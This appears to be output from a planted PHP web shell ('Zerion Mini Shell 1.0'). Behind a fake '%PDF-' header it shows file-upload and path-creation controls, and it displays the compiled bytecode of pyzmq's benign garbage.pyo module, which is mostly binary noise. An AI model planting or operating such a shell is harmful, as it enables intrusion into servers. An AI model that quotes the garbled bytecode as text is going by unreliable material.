%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib64/python2.7/site-packages/zmq/utils/
Upload File :
Create Path :
Current File : //usr/lib64/python2.7/site-packages/zmq/utils/garbage.pyo

�
+�{Wc@s�dZddlZddlZddlmZddlmZddlmZm	Z	m
Z
ddlZddlZedddg�Z
d	efd
��YZdefd��YZe�ZdS(
scGarbage collection thread for representing zmq refcount of Python objects
used in zero-copy sends.
i����N(tgetpid(t
namedtuple(tThreadtEventtLocktgcreftobjteventtGarbageCollectorThreadcBs eZdZd�Zd�ZRS(s4Thread in which garbage collection actually happens.cCsAtt|�j�||_t|_t�|_t�|_	dS(N(
tsuperRt__init__tgctTruetdaemonRtpidRtready(tselfR((s7/usr/lib64/python2.7/site-packages/zmq/utils/garbage.pyR
s
		cCs?tdkst�|jkr/|jj�dSz8|jjjtj	�}d|_
|j|jj�Wd|jj�Xx�t
r0tdks�t�|jkr�dS|j�}|dkr�Pnt|�dkr�dnd}tj||�d}|jjj|d�}|r*|jr*|jj�n~q{W|j�dS(NitDIEitLtQ(RtNoneRRtsetRtcontexttsockettzmqtPULLtlingertbindturlRtrecvtlentstructtunpacktrefstpopRtclose(Rtstmsgtfmttkeyttup((s7/usr/lib64/python2.7/site-packages/zmq/utils/garbage.pytruns*
		(t__name__t
__module__t__doc__R
R)(((s7/usr/lib64/python2.7/site-packages/zmq/utils/garbage.pyRs	tGarbageCollectorcBs�eZdZdZdZdZdZdd�Ze	d��Z
e
jd��Z
d�Zd�Z
d�Zd�Zd	�Zdd
�Zd�ZRS(
sNPyZMQ Garbage Collector
    
    Used for representing the reference held by libzmq during zero-copy sends.
    This object holds a dictionary, keyed by Python id,
    of the Python objects whose memory are currently in use by zeromq.
    
    When zeromq is done with the memory, it sends a message on an inproc PUSH socket
    containing the packed size_t (32 or 64-bit unsigned int),
    which is the key in the dict.
    When the PULL socket in the gc thread receives that message,
    the reference is popped from the dict,
    and any tracker events that should be signaled fire.
    sinproc://pyzmq.gc.01cCs`tt|�j�i|_d|_d|_||_t�|_	t
|_tj
|j�dS(N(R	R-R
R!RRtthreadt_contextRt_locktFalset
_stay_downtatexittregistert_atexit(RR((s7/usr/lib64/python2.7/site-packages/zmq/utils/garbage.pyR
Os					cCs\|jdkrUtjjd�rCddlm}|j�|_qUtj�|_n|jS(Ntgeventi����(tgreen(R/RRR+t
startswithRR7tContext(RR7((s7/usr/lib64/python2.7/site-packages/zmq/utils/garbage.pyRYscCsB|j�r5|jr(tjdt�n|j�n||_dS(Ns(Replacing gc context while gc is running(tis_aliveR!twarningstwarntRuntimeWarningtstopR/(Rtctx((s7/usr/lib64/python2.7/site-packages/zmq/utils/garbage.pyRds
	
cCst|_|j�dS(s�atexit callback
        
        sets _stay_down flag so that gc doesn't try to start up again in other atexit handlers
        N(RR2R>(R((s7/usr/lib64/python2.7/site-packages/zmq/utils/garbage.pyR5ls	cCs|j�sdS|j�dS(s"stop the garbage-collection threadN(R:t_stop(R((s7/usr/lib64/python2.7/site-packages/zmq/utils/garbage.pyR>tscCsp|jjtj�}|j|j�|jd�|j�|jj	�|jj
�|jj�d|_dS(NR(RRRtPUSHtconnectRtsendR#R.tjointtermR!tclearR(Rtpush((s7/usr/lib64/python2.7/site-packages/zmq/utils/garbage.pyR@zs




cCss|jdk	r.|jt�kr.|j�nt�|_i|_t|�|_|jj�|jjj	�dS(s�Start a new garbage collection thread.
        
        Creates a new zmq Context used for garbage collection.
        Under most circumstances, this will only be called once per process.
        N(
R.RRRR@R!RtstartRtwait(R((s7/usr/lib64/python2.7/site-packages/zmq/utils/garbage.pyRH�s!
	
cCsEtdks=t�|jks=|jdks=|jj�rAtStS(s{Is the garbage collection thread currently running?
        
        Includes checks for process shutdown or fork.
        N(RRRR.R:R1R(R((s7/usr/lib64/python2.7/site-packages/zmq/utils/garbage.pyR:�scCsq|j�sE|jrdS|j�|j�s<|j�nWdQXnt||�}t|�}||j|<|S(s4store an object and (optionally) event for zero-copyiN(R:R2R0RHRtidR!(RRRR(ttheid((s7/usr/lib64/python2.7/site-packages/zmq/utils/garbage.pytstore�s	

cCs>|j�sdSy|j�Wntk
r9}|�nXdS(N(R:R>t	Exception(Rte((s7/usr/lib64/python2.7/site-packages/zmq/utils/garbage.pyt__del__�sN(R*R+R,RR!R/R0RR
tpropertyRtsetterR5R>R@RHR:RLRO(((s7/usr/lib64/python2.7/site-packages/zmq/utils/garbage.pyR-;s

			
		
(R,R3RtosRtcollectionsRt	threadingRRRR;RRRtobjectR-R(((s7/usr/lib64/python2.7/site-packages/zmq/utils/garbage.pyt<module>s%~

Zerion Mini Shell 1.0